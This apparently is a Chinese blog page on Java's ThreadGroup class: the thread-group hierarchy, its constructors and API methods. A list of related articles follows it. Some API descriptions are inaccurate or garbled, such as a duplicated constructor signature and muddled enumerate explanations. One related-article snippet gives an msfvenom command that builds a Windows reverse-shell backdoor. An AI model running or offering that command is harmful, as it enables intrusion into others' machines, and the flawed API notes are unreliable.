1 简介

一个线程集合。是为了更方便地管理线程。父子结构的,一个线程组可以集成其他线程组,同时也可以拥有其他子线程组。

从结构上看,线程组是一个树形结构,每个线程都隶属于一个线程组,线程组又有父线程组,根线程组——System线程组。

2 线程组树的结构

JVM创建的system线程组是用来处理JVM的系统任务的线程组,例如对象的销毁等

system线程组的直接子线程组是main线程组,这个线程组至少包含一个main线程,用于执行main方法

main线程组的子线程组就是应用程序创建的线程组。

一个线程可以访问其所属线程组的信息,但不能访问其所属线程组的父线程组或者其他线程组的信息。

3 线程组的构造

java.lang.ThreadGroup 提供了两个构造函数:

Constructor Description

ThreadGroup(String name) 根据线程组名称创建线程组,其父线程组为main线程组

ThreadGroup(ThreadGroup parent, String name) 根据线程组名称创建线程组,其父线程组为指定的parent线程组

两个构造函数的用法

4 API

1.public ThreadGroup(ThreadGroup parent, String name)

分析:构建一个新的线程组,这个新组的父级是当前正在运行的线程的线程组;

2.public ThreadGroup(ThreadGroup parent, String name)

分析:构建一个新的线程组,这个新租的父级是指定的线程组;

3.public int activeCount()

分析:返回此线程组及其子组中活动线程的数量的估计值,递归遍历该线程组中所有的子组;

返回的值只是一个估计值,因为用这种方法遍历内部数据结构因为线程的数量可能会动态发生变化,并且可能会受到某些系统线程的影响,此方法主要用于调试和监视目的;

4.public int activeGroupCount()

分析:返回此线程组及其子组中活动组的数目的估计值。递归遍历该线程组中的所有子群。返回的值只是一个估计值,因为线程组的数量可能会动态变化,而这种方法遍历内部数据结构。此方法主要用于调试和监视目的。

5.public final void checkAccess()

分析:确定当前运行的线程是否具有修改此线程组的权限。

如果存在安全管理器,它的checkaccess方法调用这个线程组作为其参数。这可能会导致抛出SecurityException。

6.public final void destroy()

分析:破坏此线程组及其所有子组,此线程组必须为空,表示此线程组中的所有线程必须都停止;

7.public int enumerate(Thread[] list)

分析:将这个线程组复制到它所在的组及其子组中;

8.public int enumerate(Thread[] list, boolean recurse)

分析:将这个线程组复制到它所在的线程组,如果recurse是true,此方法递归枚举此线程组的所有子组,并对这些子组中的每个活动线程进行引用。如果数组太短无法保存所有的线程,额外的线程将被默默的忽略;

9.public int enumerate(ThreadGroup[] list)

分析:复制线程组中的活跃线程引用到它当前线程组及其子组中;

10.public int enumerate(ThreadGroup[] list, boolean recurse)

分析:复制线程组中的活跃线程引用到它当前线程组及其子组中,如果recurse是true,此方法递归枚举此线程组的所有子组,并对这些子组中的每个活动线程组进行引用。

11.public final int getMaxPriority()

分析:返回此线程组的最大优先级。作为该组的一部分的线程不能具有比优先级最高的优先级。

12.public final String getName()

分析:返回此线程组的名称;

13.public final ThreadGroup getParent()

分析:返回此线程组的父级;

14.public final void interrupt()

分析:终端此线程组中的所有线程;

15.public final boolean isDaemon()

分析:测试此线程组是否是守护线程组。当终止最后一个线程或它的最后一个线程组被销毁时,守护线程组会自动销毁;

16.public boolean isDestroyed()

分析:测试此线程组是否已被销毁;

17.public void list()

分析:将此线程组的信息打印到标准输出。此方法仅用于调试。

18.public final boolean parentOf(ThreadGroup g)

分析:测试此线程组是线程组参数还是其祖先线程组之一

java线程组的更多相关文章

  1. Java线程组(ThreadGroup)使用

    JDK 对线程组类注释: A thread group represents a set of threads. In addition, a thread group can also includ ...

  2. java线程管理

    java线程管理 参见: http://harmony.apache.org/subcomponents/drlvm/TM.html 1. 修订历史 2. 关于本文档 2.1. 目的 2.2. 面向的 ...

  3. 0039 Java学习笔记-多线程-线程控制、线程组

    join线程 假如A线程要B线程去完成一项任务,在B线程完成返回之前,不进行下一步执行,那么就可以调用B线程的join()方法 join()方法的重载: join():等待不限时间 join(long ...

  4. Java多线程16:线程组

    线程组 可以把线程归属到某一个线程组中,线程组中可以有线程对象,也可以有线程组,组中还可以有线程,这样的组织结构有点类似于树的形式,如图所示: 线程组的作用是:可以批量管理线程或线程组对象,有效地对线 ...

  5. java 22 - 18 多线程之 线程的状态转换、线程组

    线程的状态转换图解:图片 线程的线程组: 线程组: 把多个线程组合到一起.    它可以对一批线程进行分类管理,Java允许程序直接对线程组进行控制. 首先创建一个Runnable的实现类 publi ...

  6. JAVA基础知识之多线程——线程组和未处理异常

    线程组 Java中的ThreadGroup类表示线程组,在创建新线程时,可以通过构造函数Thread(group...)来指定线程组. 线程组具有以下特征 如果没有显式指定线程组,则新线程属于默认线程 ...

  7. Android(java)学习笔记73:线程组的概述和使用

    Java中使用ThreadGroup来表示线程组,它可以对一批线程进行分类管理,Java允许程序直接对线程组进行控制. (1)默认情况下,所有的线程都属于主线程组. public final Thre ...

  8. 【Java基础】Java多线程之线程组和线程池

    在上一篇文章中,讲述了线程的基本概念和用法,这里将继续讲述线程组和线程池的一些东西. 线程组:java.lang.ThreadGroup 1. 线程组的介绍 线程组表示一个线程的集合.此外,线程组也可 ...

  9. -1-5 java 多线程 概念 进程 线程区别联系 java创建线程方式 线程组 线程池概念 线程安全 同步 同步代码块 Lock锁 sleep()和wait()方法的区别 为什么wait(),notify(),notifyAll()等方法都定义在Object类中

     本文关键词: java 多线程 概念 进程 线程区别联系 java创建线程方式 线程组 线程池概念 线程安全 同步 同步代码块 Lock锁  sleep()和wait()方法的区别 为什么wait( ...

随机推荐

  1. Metasploit笔记

    生成exe后门 msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe -o 1987.exe 生成PHP后门 m ...

  2. 客户端和后台交互日期注意点 sqlite日期字段使用Date类型的情况下

    不要直接传递时间类型 一般把时间格式化字符串后传递 不要传递Date().getTime() 毫秒数  非要使用的话需要在后台处理 传递的毫秒数 - TimeZone.getDefault().get ...

  3. 谁能率先挖掘出5G金矿?

    现在,消费者已经习惯4G的存在,它好像另外的一个太阳,点亮了夜生活,也丰富了白天的生活:随时随地的直播.视频通话.移动支付.嘀嘀打车等等,这些都因4G网络和智能手机而快速发展,帮助消费者清理碎片时间之 ...

  4. Redis实现分布式读写锁(Java基于Lua实现)

    https://blog.csdn.net/grandachn/article/details/89032815 https://blog.csdn.net/xingsilong/article/de ...

  5. vivado操作基本问题

    1.zynq开发板的构造以及推崇的设计理念 设计推崇的理念是设计有知识产权的可重用的IP模块. 2.操作过程中遇到的问题以及解决方法 (1)综合速度慢解决方案: 我们都知道Vivado编译起来相当的慢 ...

  6. row_number over( partition by xx)

    在原始表中 新加一个临时列 去重, 排序 比多次join性能提高很多 http://www.mysqltutorial.org/mysql-window-functions/mysql-row_num ...

  7. 吴裕雄--天生自然Android开发学习:下载安装android stuio集成开发工具

    下载链接: https://developer.android.google.cn/index.html

  8. 吴裕雄--天生自然python学习笔记:Python MongoDB

    MongoDB 是目前最流行的 NoSQL 数据库之一,使用的数据类型 BSON(类似 JSON). PyMongo Python 要连接 MongoDB 需要 MongoDB 驱动,这里我们使用 P ...

  9. 吴裕雄--天生自然python编程:turtle模块绘图(4)

    import turtle bob = turtle.Turtle() for i in range(1,5): bob.fd(100) bob.lt(90) turtle.mainloop() im ...

  10. QQbug--QQ截图不显示保存类型

    QQ软件bug--QQ截图不显示保存类型,设置显示后缀名也没用 问题:     QQ截图截后,不通过对话框直接保存时,不显示保存类型,文件名下面的类型的框框是一片空白,在文件夹选项设置显示后缀名也没用 ...